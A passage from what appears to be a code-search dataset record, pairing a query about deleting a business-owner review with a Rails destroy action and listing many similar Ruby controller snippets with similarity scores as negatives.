respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review.lecture, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review.lecture }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update_attributes(params[:review])\n\t\t\tredirect_to reviews_path, :notice => \"De waardering is aangepast.\"\n else\n\t\t\tredirect_to reviews_path, :notice => \"De aanpassing kan op dit moment niet worden doorgevoerd. Het is mogelijk dat je meer dan drie referenties wilt aanvinken voor op de voorpagina.\"\n end\n end", "def update\n @collection = current_user.collections.find(params[:collection_id]) \n @recommender = @collection.recommenders.find(params[:id])\n\n respond_to do |format|\n if @recommender.update_attributes(params[:recommender])\n format.html { redirect_to collection_recommenders_path(@collection), notice: 'Recommender was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recommender.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_for_customer\n reviews = Review.find_for_all_product_of_customer(customer.id)\n nb_reviews = reviews.size\n score_reviews = reviews.average(:score)\n customer.nb_reviews = nb_reviews\n customer.score_reviews = score_reviews\n customer.save\n end", "def update\n @review = Employee.find(params[:id])\n\n respond_to do |format|\n @review.reviewed = true; @review.score = params[:employee][:score];\n if @review.save\n format.html { redirect_to admin_reviews_path, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event_review.update(event_review_params)\n format.html { redirect_to @event_review, notice: 'Event review was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_review }\n else\n format.html { render :edit }\n format.json { render json: @event_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @mystery_book.update(mystery_book_params)\n format.html { redirect_to @mystery_book, notice: \"Mystery review was successfully updated.\" }\n format.json { render :show, status: :ok, location: @mystery_book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @mystery_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n @post.review!\n format.html { redirect_to @post, notice: 'Anúncio atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @shop_review.update(shop_review_params)\n format.html { redirect_to @shop_review, notice: '가게 리뷰 수정 완료' }\n format.json { render :show, status: :ok, location: @shop_review }\n else\n format.html { render :edit }\n format.json { render json: @shop_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @first_review.update(first_review_params)\n format.html { redirect_to team_path(@first_review.team_id), notice: 'First review was successfully updated.' }\n format.json { render :show, status: :ok, location: @first_review }\n else\n format.html { render :edit }\n format.json { render json: @first_review.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7029843", "0.67638874", "0.67412204", "0.66572", "0.66552705", "0.6631239", "0.6615031", "0.6615031", "0.6615031", "0.6598681", "0.6573793", "0.6558549", "0.65508854", "0.643109", "0.6410844", "0.6385509", "0.6368146", "0.6365947", "0.6336368", "0.63238716", "0.63088965", "0.63081825", "0.63081825", "0.63081825", "0.63081825", "0.6305753", "0.6295615", "0.62831837", "0.62821054", "0.62508357", "0.62508357", "0.62508357", "0.62418514", "0.6223316", "0.6223316", "0.6223316", "0.6223316", "0.6223316", "0.6223316", "0.6223316", "0.62225085", "0.6218021", "0.62056446", "0.6199219", "0.6177876", "0.6165262", "0.6157222", "0.6155201", "0.61428833", "0.6135849", "0.6128096", "0.61248344", "0.6115699", "0.6115653", "0.6104347", "0.6102259", "0.60898155", "0.6073741", "0.6072063", "0.6070561", "0.60635984", "0.6053189", "0.6050039", "0.6049115", "0.6042134", "0.6041404", "0.60348046", "0.601472", "0.5999413", "0.5991361", "0.59834075", "0.59808284", "0.5977", "0.5974619", "0.5950176", "0.5935202", "0.59335953", "0.59196424", "0.5919529", "0.5911485", "0.58994085", "0.58989024", "0.589299", "0.5889491", "0.58786786", "0.58618563", "0.58608514", "0.5854762", "0.58478963", "0.58433974", "0.58371294", "0.5820123", "0.5817903", "0.5817665", "0.5814131", "0.5784808", "0.5780217", "0.57732797", "0.5767502", "0.5764001" ]
0.7257163
0
DELETE /bizowners_reviews/1 DELETE /bizowners_reviews/1.json
def destroy @bizowners_review.destroy respond_to do |format| format.html { redirect_to bizowners_reviews_url, notice: 'Bizowners review was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @review = reviewable.reviews.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewable_reviews_url(reviewable) }\n format.json { head :no_content }\n end\n end", "def _reviews_delete(id)\n delete id.to_s\n _response_status(204, last_response)\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @user = current_user\n @review = Review.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :ok }\n end\n end", "def destroy\n @boo_k_review.destroy\n respond_to do |format|\n format.html { redirect_to boo_k_reviews_url, notice: 'Boo k review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bollywood_review = BollywoodReview.find(params[:id])\n @bollywood_review.destroy\n\n respond_to do |format|\n format.html { redirect_to bollywood_reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = @place.reviews.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n review = Review.find_by(id: params[:id]).destroy\n render json: review\n end", "def destroy\n @book_review = BookReview.find(params[:id])\n @book_review.destroy\n\n respond_to do |format|\n format.html { redirect_to book_reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n\n head :no_content\n end", "def destroy\n @review.destroy\n\n head :no_content\n end", "def destroy\n @review.destroy\n\n head :no_content\n end", "def destroy\n @item_review.destroy\n respond_to do |format|\n format.html { redirect_to item_reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @auditreview.destroy\n respond_to do |format|\n format.html { redirect_to auditreviews_url, notice: 'Auditreview was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_review = UserReview.find(params[:id])\n @user_review.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_reviews_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @review = @post.reviews.where(user_id: current_user.id).find(params[:id])\n @review.destroy\n respond_with @post, @review, location: post_path(@post, anchor: \"reviews\")\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @blade_review.destroy\n respond_to do |format|\n format.html { redirect_to blade_reviews_url, notice: 'Blade review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_user\n delete_reviews(self)\n self.destroy\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(reviews_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(reviews_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: \"レビューが削除されました\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_review.destroy\n respond_to do |format|\n format.html { redirect_to admin_reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to restaurent_path(@restaurent.id),\n notice: \"Review was successfully destroyed\" }\n format.json { head :no_content }\n end\n end", "def destroy\n vendor = @review.vendor\n user = @review.user\n @review.destroy\n vendor.save # para atualizar o number_reviews\n\n respond_to do |format|\n format.html { redirect_to vendor_path(vendor, view: \"recomendacoes\") }\n format.json { head :ok }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: \"振り返りを削除しました。\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @visitor_review.destroy\n respond_to do |format|\n format.html { redirect_to visitor_reviews_url, notice: 'Visitor review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @device_review.destroy\n respond_to do |format|\n format.html { redirect_to device_reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shop_review.destroy\n respond_to do |format|\n format.html { redirect_to shop_reviews_url, notice: '가게 리뷰가 삭제되었습니다.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = find_review\n @review.destroy\n redirect_to reviews_path\n end", "def destroy\n @company_review.destroy\n respond_to do |format|\n format.html { redirect_to company_reviews_url, notice: 'Company review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_review.destroy\n respond_to do |format|\n format.html { redirect_to user_reviews_url, notice: 'User review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_show_path, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(review_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item_review.destroy\n respond_to do |format|\n format.html { redirect_to item_reviews_url, notice: 'Item review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to publication_reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n #If destroyed, it display the notice.\n format.html { redirect_to reviews_url, notice: t('review.destroy') }\n format.json { head :no_content }\n end\n end", "def destroy\n @reviewable_object = current_user.reviewable_objects.find(params[:id])\n @reviewable_object.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewable_objects_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to project_path(@project), notice: 'Review was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = current_user\n @review_like = ReviewLike.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end", "def destroy\n @review.destroy\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to @book, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @critic_review.destroy\n respond_to do |format|\n format.html { redirect_to critic_reviews_url, notice: 'Critic review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n redirect_to root_url\n end", "def destroy\n @hm_review.destroy\n respond_to do |format|\n format.html { redirect_to hm_reviews_url, notice: 'Hm review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find params[:id]\n @review.destroy\n redirect_to :back\n end", "def destroy\n @restaurant_review.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_reviews_url, notice: 'Restaurant review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reviewer = Reviewer.find(params[:id])\n @reviewer.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @first_review.destroy\n respond_to do |format|\n format.html { redirect_to first_reviews_url, notice: 'First review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :destroy, ReviewsController\n @review = Review.find(params[:id])\n if @review\n @review.destroy\n flash[:success] = 'Запись была успешно удалена!'\n else\n flash[:error] = 'Запись не найдена.'\n end\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@book_review = BookReview.find(params[:id])\n\t\t@book_review.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to book_reviews_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend", "def destroy\n @admin_nature_of_review.destroy\n respond_to do |format|\n format.html { redirect_to admin_nature_of_reviews_url, notice: 'Nature of review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reviews_and_rating.destroy\n respond_to do |format|\n format.html { redirect_to reviews_and_ratings_url, notice: 'Reviews and rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@review = Review.find(params[:id])\n\t\t@review.destroy\n\t\tredirect_to share_reviews_path(@share), notice: \"Review successfully deleted!\"\t\t\n\tend", "def destroy\n Review.destory(params[:id])\nend", "def destroy\n @food_review.destroy\n respond_to do |format|\n format.html { redirect_to food_reviews_url, notice: 'Food review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review_image = ReviewImage.find(params[:id])\n @review_image.destroy\n\n respond_to do |format|\n format.html { redirect_to review_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if user_signed_in? && current_user.admin?\n @new_review = NewReview.find(params[:id])\n @new_review.destroy\n\n respond_to do |format|\n format.html { redirect_to new_reviews_url }\n format.json { head :no_content }\n end\n else\n redirect_to root_path\n end\n end", "def destroy\n @bookmark = Bookmark.find_by(id: params[:bookmark][:bookmark_id])\n review = @bookmark.review\n Bookmark.delete(@bookmark.id)\n redirect_to :back\n end", "def destroy\n @review = Product.find(params[:product_id]).reviews.find(params[:id])\n @review.destroy\n redirect_to :back\n end", "def destroy\n @venue_review = VenueReview.find(params[:id])\n @venue_review.destroy\n\n respond_to do |format|\n format.html { redirect_to(venue_reviews_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @award_winner_book.destroy\n respond_to do |format|\n format.html { redirect_to award_winner_books_url, notice: \"Award winner review was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @review_count.destroy\n respond_to do |format|\n format.html { redirect_to review_counts_url, notice: 'Review count was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @employee_review.destroy\n respond_to do |format|\n format.html { redirect_to employee_reviews_url, notice: 'Employee review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n # Broadcast remove review on list from model.\n format.turbo_stream { render turbo_stream: \"\" }\n format.html { redirect_to recipe_path(@recipe, anchor: \"reviews_header\"), notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n @reservation.reviwed = false\n @reservation.save\n format.html { redirect_to listings_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @project = Project.find(params[:project_id])\n @review = @project.reviews.find(params[:id])\n @paths = @review.file\n @line = @review.line\n @review.destroy\n\n respond_to do |format|\n # format.html { redirect_to blob_project_path(@project, 'blob', @paths) }\n format.html { redirect_to line_project_path(@project, 'line', @paths, @line) }\n # format.js { @reviews = @project.reviews_by_line(@paths, @line).paginate(page: params[:page], per_page: 20) }\n format.js { @reviews = Review.with_project(@project).with_file(@paths).with_line(@line).paginate(page: params[:page], per_page: 20) }\n format.json { head :no_content }\n end\n end", "def destroy \n @establishment = Establishment.find(params[:establishment_id])\n @reviews = @establishment.reviews.find(params[:id])\n @reviews.destroy\n redirect_to @establishment\n \n=begin\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n=end\n end", "def destroy\n @hospital = Hospital.find(params[:hospital_id])\n @review = @hospital.reviews.find(params[:id])\n @review.destroy\n respond_to do |format|\n flash[:success] = \"삭제 성공\"\n format.html { redirect_to @hospital }\n format.json { head :no_content }\n end\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'レビューの削除完了です!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bookreview.destroy\n respond_to do |format|\n format.html { redirect_to book_path(@bookreview.book_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n respond_to do |format|\n format.html { redirect_to @review.lecture, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@review = Review.find(params[:id])\n\t\t@review.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(reviews_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend", "def destroy\n @fourth_review.destroy\n respond_to do |format|\n format.html { redirect_to fourth_reviews_url, notice: 'Fourth review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @thesis_review = ThesisReview.find(params[:id])\n @thesis_review.destroy\n\n respond_to do |format|\n format.html { redirect_to(thesis_reviews_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @peer_review.destroy\n respond_to do |format|\n format.html { redirect_to peer_reviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @biography_book.destroy\n respond_to do |format|\n format.html { redirect_to biography_books_url, notice: \"Biography review was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @mystery_book.destroy\n respond_to do |format|\n format.html { redirect_to mystery_books_url, notice: \"Mystery review was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @facility_review.destroy\n respond_to do |format|\n format.html { redirect_to facility_reviews_url, notice: 'Facility review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @review = Review.find(params[:id])\n @review.destroy\n flash[:notice] = \"This review was successfully deleted!\"\n redirect_to root_path\n end", "def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to places_url, notice: 'Review was successfully destroyed.' }\n end\n end", "def destroy\n @review = @album.review\n @review.destroy\n\n respond_to do |format|\n flash[:notice] = \"Review '#{@review}' was destroyed.\"\n format.html { redirect_to album_url(@review.album)}\n format.xml { head :ok }\n format.js # destroy.rjs\n end\n end" ]
[ "0.7222543", "0.71524435", "0.71307576", "0.7061688", "0.70423967", "0.70389396", "0.7032896", "0.7032896", "0.7032896", "0.7032896", "0.7032896", "0.7014298", "0.7014298", "0.7014298", "0.6998336", "0.6975926", "0.6968421", "0.6964715", "0.6946135", "0.6946135", "0.6946135", "0.6918157", "0.6887653", "0.68725884", "0.683736", "0.68361884", "0.68319285", "0.68318", "0.68027115", "0.6798881", "0.6798881", "0.67764056", "0.6773947", "0.67709816", "0.67709816", "0.67709816", "0.67709816", "0.67709816", "0.67709816", "0.67709816", "0.67709816", "0.6753369", "0.67487925", "0.6747293", "0.6741239", "0.6724645", "0.672333", "0.6709463", "0.6698134", "0.6694134", "0.6676608", "0.66760844", "0.6659814", "0.6648303", "0.6646633", "0.6641419", "0.6633354", "0.66311276", "0.6622781", "0.66224164", "0.66166115", "0.66073257", "0.6600838", "0.65802693", "0.6577009", "0.6561151", "0.6553772", "0.6549586", "0.65485597", "0.65448546", "0.6534715", "0.6531762", "0.6501778", "0.6498414", "0.6488183", "0.6486844", "0.6473146", "0.6466916", "0.64596856", "0.6454725", "0.6444817", "0.6439641", "0.6429469", "0.6426491", "0.6421785", "0.6417436", "0.6416526", "0.6408778", "0.64083177", "0.63982844", "0.6396603", "0.6371489", "0.63672096", "0.6364083", "0.6356408", "0.6355837", "0.6353843", "0.63514745", "0.634967", "0.6341225" ]
0.76944566
0
Use callbacks to share common setup or constraints between actions.
def set_bizowners_review @bizowners_review = BizownersReview.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n 